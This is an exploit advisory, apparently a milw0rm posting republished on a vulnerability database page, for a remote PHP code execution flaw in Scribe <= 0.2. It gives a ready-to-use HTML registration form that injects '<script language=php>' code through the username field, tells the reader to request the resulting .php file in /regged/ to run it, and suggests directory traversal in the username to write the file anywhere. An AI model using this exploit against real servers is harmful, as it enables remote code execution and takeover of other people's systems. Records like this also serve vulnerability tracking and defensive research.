Scribe <= 0.2 - Remote PHP Code Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Scribe 0.2 Remote PHP Code Execution Vulnerabilit


                                                ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  &#60;_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  &#62;__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

	Scribe &#60;= 0.2 Remote PHP Code Execution
   Download: http://sourceforge.net/projects/scribe/

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC:

When we register a news user, scribe make a file called [username].php located 
in /regged/. The file contains:

Username: [username]
---------------------------------------------------------------
Exploit:

&#60;form id=&#34;Register&#34; action=&#34;http://[target]/[scribe_path]/forum.php?act=7&#34; 
method=&#34;post&#34;&#62;
&#60;input maxlength=&#34;99999999999&#34; name=&#34;username&#34; type=&#34;text&#34; value=&#34;&#60;script 
language=php&#62;[YOUR_PHP_CODE]&#34;&#62;&#60;br&#62;
&#60;input maxlength=&#34;32&#34; name=&#34;password&#34; type=&#34;password&#34; value=&#34;kingolo&#34;&#62;&#60;br&#62;
&#60;input maxlength=&#34;32&#34; name=&#34;cpassword&#34; type=&#34;password&#34; value=&#34;kingolo&#34;&#62;&#60;br&#62;
&#60;input maxlength=&#34;50&#34; name=&#34;email&#34; type=&#34;text&#34; value=&#34;kingolo&#34;&#62;&#60;br&#62;
&#60;input name=&#34;confirm&#34; value=&#34;Make Shell!&#34; type=&#34;submit&#34;&#62;
&#60;/form&#62;

Now, go on:

http://[target]/[scribe_path]/regged/&#60;script language=php&#62;[YOUR_PHP_CODE].php

And your code will be execute on target server!
---------------------------------------------------------------
Trick:

If you insert directory traversal variable in your username, u can save the 
file where u want  ;) 
---------------------------------------------------------------

# milw0rm.com [2007-11-02]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1